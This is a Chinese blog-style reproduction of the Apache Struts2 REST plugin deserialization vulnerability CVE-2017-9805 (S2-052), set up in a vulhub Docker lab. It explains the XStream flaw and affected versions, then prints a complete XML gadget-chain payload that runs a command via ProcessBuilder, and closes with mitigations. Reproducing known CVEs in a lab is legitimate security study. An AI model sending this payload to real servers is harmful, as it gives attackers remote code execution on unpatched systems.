Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

一、漏洞概述

Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

二、漏洞原理

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名

Content-Type

解析方法

xml

Application/xml

xstream

json

Application/json

Jsonlib或jackson

xhtml

Application/xhtml+xml

Application/x-www-form-urlencoded

Multipart/form-data

Jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag指定需要实例化的类名:

<classname></classname>

//或者

<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

三、漏洞影响版本

Struts 2.1.2 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

四、漏洞环境搭建以及复现

1、利用docker搭建vulhub漏洞环境

docker-compose up -d

  

2、启动环境后,访问http://172.17.0.1:8080/orders.xhtml,可以看到showcase页面。

  

3、由于rest-plugin会根据URI扩展名或 Content-Type来判断解析方法, 所以我们只需要修改orders.xhtml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

3.1点击一个edit进行编译页面,burpsuit抓包

  

3.2修改数据包,构造数据包

将Content-Type:application/x-www-form-urlencoded修改为:Content-Type:application/xml

Post数据修改成:

  1. <map>
  2. <entry>
  3. <jdk.nashorn.internal.objects.NativeString>
  4. <flags></flags>
  5. <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
  6. <dataHandler>
  7. <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
  8. <is class="javax.crypto.CipherInputStream">
  9. <cipher class="javax.crypto.NullCipher">
  10. <initialized>false</initialized>
  11. <opmode></opmode>
  12. <serviceIterator class="javax.imageio.spi.FilterIterator">
  13. <iter class="javax.imageio.spi.FilterIterator">
  14. <iter class="java.util.Collections$EmptyIterator"/>
  15. <next class="java.lang.ProcessBuilder">
  16. <command>
  17. <string>touch</string>
  18. <string>/tmp/test.txt</string>
  19. </command>
  20. <redirectErrorStream>false</redirectErrorStream>
  21. </next>
  22. </iter>
  23. <filter class="javax.imageio.ImageIO$ContainsFilter">
  24. <method>
  25. <class>java.lang.ProcessBuilder</class>
  26. <name>start</name>
  27. <parameter-types/>
  28. </method>
  29. <name>foo</name>
  30. </filter>
  31. <next class="string">foo</next>
  32. </serviceIterator>
  33. <lock/>
  34. </cipher>
  35. <input class="java.lang.ProcessBuilder$NullInputStream"/>
  36. <ibuffer/>
  37. <done>false</done>
  38. <ostart></ostart>
  39. <ofinish></ofinish>
  40. <closed>false</closed>
  41. </is>
  42. <consumed>false</consumed>
  43. </dataSource>
  44. <transferFlavors/>
  45. </dataHandler>
  46. <dataLen></dataLen>
  47. </value>
  48. </jdk.nashorn.internal.objects.NativeString>
  49. <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  50. </entry>
  51. <entry>
  52. <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  53. <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  54. </entry>
  55. </map>

  

4、可以看到响应500状态码,不过还是成功了

  

5、在目标执行docker-compose exec struts2 ls /tmp/ 查看是否成功执行touch命令

  

五、漏洞防御

1、 升级版本

2、 删除Struts2 REST插件,或仅限于服务器普通页面和jsons:

<constant name=”struts.action.extension” value=”xhtml,json”/>

3、限制服务端扩展类型,删除XML支持。

---------------------------------------------------------------------------------------------------------------------

参考链接:https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md

 

Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现的更多相关文章

  1. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  2. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

  3. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  4. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

  5. Apache Solr远程命令执行

    简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引:也可以通过Http G ...

  6. 【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)

    继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112. 当开发人员在Freemarker标签中使用错误的构造 ...

  7. 【预警通告】Apache Struts2 远程代码执行漏洞

    Apache Structs2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638.攻击者可以在使用该插件上传文件时,修改HTTP请求头中的 ...

  8. CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

    0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...

  9. CVE-2021-25646:Apache Druid远程命令执行漏洞复现

    漏洞概述 Apache Druid 是一个分布式的数据处理系统.Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码.在Druid 0.20.0及更低版本中, ...

随机推荐

  1. google的开源项目总结(转载)

    转自http://www.feng5166.com/blog/424.html google的开源项目值得我们一用的,这些项目很有意义,甚至可以直接用在我们自己的工作上!学习编程的的一个比较好的方式就 ...

  2. Linux编译安装Qt 5.4.1(-qt-xcb是必须要指定的,卸载自带的gcc等)

    转载请注明文章:Linux编译安装Qt 5.4.1 出处:多客博图 很久不写文章了,过程很简单,但是操作很多,简单说吧. 前言: 操作系统CentOS 6.6,64位的. 1.安装gcc 4.8.4, ...

  3. C#通过HttpListener实现HTTP监听

    代码: using NLog; using System; using System.Diagnostics; using System.IO; using System.Net; using Sys ...

  4. Portal for ArcGIS 资源承载数据类型

    在Portal中数据主要分为两大类:Web内容与桌面内容.对于Web内容与桌面内容中的每个项目(item)又被具体分为maps,layers, styles, tools,applications,和 ...

  5. 【转】ORACLE AWR报告

    转自:http://blog.csdn.net/liqfyiyi/article/details/8236864 About Oracle AWR Oracle AWR is a powerful m ...

  6. PHP 的魔术方法及其应用

    PHP中将所有__(两个下划线)开头的类方法作为魔术方法,这方法之所以称为魔术方法是因为其实现的功能就如变魔术一样感觉很神奇.在特定的事件下触发,这真的很酷. **__construct()** 这个 ...

  7. Android多线程(一)

    在Android应用的开发过程中,我们不可避免的要使用多线程,获取服务器数据.下载网络数据.遍历文件目录查找特定文件等等耗时的工作都离不开线程的知识.Android继承了Java的多线程体系,同时又实 ...

  8. C#字符类型

    C#字符串类型采用Unicode字符集,一个Unicode标准字符长度位16位,它允许用单个编码方案表示世界上使用的所有字符. 字符类型表示位char. 关于字符的转义:C#也可以使用字符转义,用   ...

  9. 【备忘】C#语言基础-2

    泛型 CollectionClass<ItemClass> items = new CollectionClass<ItemClass>(); items.Add(new It ...

  10. 运维不仅仅是Linux,居然还要知道这么多?

    摘要: 运维不仅仅是懂Linux就行,因为还有一大部分的Windows运维,向windows运维人员致敬.当然我们这篇文章不是说运维除了懂Linux,还要懂Windows,而是涉及运维的其他方方面面. ...